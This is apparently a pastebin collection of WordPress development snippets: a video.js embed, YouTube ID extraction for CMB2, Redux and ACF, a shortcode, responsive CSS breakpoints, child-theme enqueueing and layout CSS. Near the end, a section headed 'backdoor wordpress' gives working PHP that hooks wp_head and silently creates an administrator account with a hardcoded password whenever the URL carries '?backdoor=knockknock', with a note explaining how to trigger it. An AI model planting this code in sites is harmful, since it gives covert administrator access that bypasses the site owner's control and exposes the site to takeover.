  905. // display name of all childs of the parent term
  906. echo $child_term->name . '<br>';
  907. }
  908.  
  909. }
  910.  
  911.  
  912.  
  913.  
  914.  
  915.  
  916. // video player video js html5 with responsive
  917. <link href="http://vjs.zencdn.net/5.0.2/video-js.css" rel="stylesheet">
  918. <script src="http://vjs.zencdn.net/ie8/1.1.0/videojs-ie8.min.js"></script>
  919. <script src="http://vjs.zencdn.net/5.0.2/video.js"></script>
  920.  
  921. <video id="myvideo" class="video-js vjs-default-skin vjs-fluid vjs-big-play-centered vjs-16-9 vjs-4-3" controls
  922. preload="auto" width="640" height="264" poster="<?php echo get_theme_file_uri();?>/img/img-1.png"
  923. data-setup='{"fluid": true}'>
  924. <source src="http://vjs.zencdn.net/v/oceans.mp4" type='video/mp4'>
  925. </video>
  926. --//resource https://coolestguidesontheplanet.com/videodrome/videojs/
  927.  
  928.  
  929. // Get video ID From youtube url link by CMB2 type oembed
  930. <?php
  931. $video_iframe = esc_url( get_post_meta( get_the_ID(), 'acc-video', 1 ) );
  932. $video_link = explode('youtube.com/watch?v=', $video_iframe);
  933. $YouTubeVideo = $video_link[1];
  934. ?>
  935. <iframe width="100%" height="100%" src="https://www.youtube.com/embed/<?php echo $YouTubeVideo; ?>" frameborder="0" allowfullscreen></iframe>
  936.  
  937. // Get video ID From youtube url link by Redux framework
  938. <?php
  939. $video_iframe = $my_theme['youtube-link'];
  940. $video_link = explode('youtube.com/watch?v=', $video_iframe);
  941. $YouTubeVideo = $video_link[1];
  942. ?>
  943. <iframe width="100%" height="100%" src="https://www.youtube.com/embed/<?php echo $YouTubeVideo; ?>" frameborder="0" allowfullscreen></iframe>
  944.  
  945. // Get video ID From youtube url link by ACF framework
  946. <?php
  947. $video_iframe = get_field('video_hsamm', false, false);
  948. $video_link = explode('youtube.com/watch?v=', $video_iframe);
  949. $YouTubeVideo = $video_link[1];
  950. echo $YouTubeVideo;
  951. ?>
  952. <iframe width="100%" height="100%" src="//www.youtube.com/embed/qUJYqhKZrwA?autoplay=0&showinfo=0&controls=0" frameborder="0" allowfullscreen>
  953.  
  954. --------------------------------------------------
  955. <p>SITE BY: <a href="https://www.jegdesign.com/" target="_blank">JEG DESIGN INC</a></p>
  956.  
  957.  
  958. //shortcode example
  959. function core_list_shortcode( $atts, $content = null ) {
  960.  
  961. extract( shortcode_atts( array(
  962. 'id' => '',
  963. ), $atts ) );
  964.  
  965. return 'jQuery("#codeapp'.$id.'").show();';
  966. }
  967. add_shortcode('core', 'core_list_shortcode');
  968.  
  969.  
  970.  
  971. // responsive query css
  972. <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
  973. ===========================================
  974. /* Desktop Layout: 970px. */
  975. @media (min-width: 992px) {
  976.  
  977. }
  978. /* Desktop Layout: 1200px. */
  979. @media (min-width: 1200px) {
  980.  
  981. }
  982. /* Tablet Layout: 768px. */
  983. @media only screen and (min-width: 768px) and (max-width: 991px) {
  984.  
  985. }
  986. /* Mobile Layout: 320px. */
  987. @media only screen and (max-width: 767px) {
  988.  
  989. }
  990. /* Wide Mobile Layout: 480px. */
  991. @media only screen and (min-width: 480px) and (max-width: 767px) {
  992.  
  993. }
  994.  
  995.  
  996. // Child Theme Enqueue Script
  997. ----------------
  998. add_action('wp_enqueue_scripts', 'theme_js');
  999. function theme_js() {
  1000.  
  1001. wp_enqueue_script( 'theme_js', get_stylesheet_directory_uri() . '/js/custom.js', array( 'jquery' ), '1.0', true );
  1002.  
  1003. // This will point to style.css in child theme
  1004. wp_enqueue_style( 'my_child_styles', get_stylesheet_directory_uri().'/style.css' );
  1005.  
  1006. // This will point to style.css in the parent theme
  1007. wp_enqueue_style( 'my_parent_styles', get_template_directory_uri().'/style.css' );
  1008.  
  1009. }
  1010.  
  1011. // twol column list
  1012. -----------------
  1013. ul {
  1014. columns: 2;
  1015. -webkit-columns: 2;
  1016. -moz-columns: 2;
  1017. }
  1018.  
  1019. // css for masonay style
  1020. ----------------
  1021. .gallery_item_wrapper {
  1022. -moz-column-count: 2;
  1023. -webkit-column-count: 2;
  1024. -moz-column-gap: 10px;
  1025. -webkit-column-gap: 10px;
  1026. }
  1027. .gallery_single {
  1028. display: inline-block;
  1029. width: 100%;
  1030. margin-bottom: 4px;
  1031. }
  1032.  
  1033. // css for center title or icon
  1034. ------------------
  1035. <div class="menu_item_single">
  1036. <span class="menu_title">
  1037. <h2>LUNCH</h2>
  1038. </span>
  1039. </div>
  1040. .menu_item_single span.menu_title {
  1041. position: absolute;
  1042. top: 0;
  1043. left: 0;
  1044. bottom: 0;
  1045. right: 0;
  1046. background: rgba(56, 50, 71, 0.58);
  1047. display: flex;
  1048. justify-content: center;
  1049. align-items: center;
  1050. }
  1051.  
  1052. =======================
  1053. backdoor wordpress
  1054. =======================
  1055. -------- or ---------------
  1056. add_action('wp_head', 'wploop_backdoor');
  1057. function wploop_backdoor() {
  1058. If ($_GET['backdoor'] == 'knockknock') {
  1059. require('wp-includes/registration.php');
  1060. If (!username_exists('username')) {
  1061. $user_id = wp_create_user('adminnew', '123asd456');
  1062. $user = new WP_User($user_id);
  1063. $user->set_role('administrator');
  1064. }
  1065. }
  1066. }
  1067. If you leave the code as it is, all you would have to do to create a new admin on the site is visit http://www.yourdomain.com/?backdoor=knockknock
  1068.  
  1069. https://my.bluehost.com/cgi/token
Advertisement
Add Comment
Please, Sign In to add comment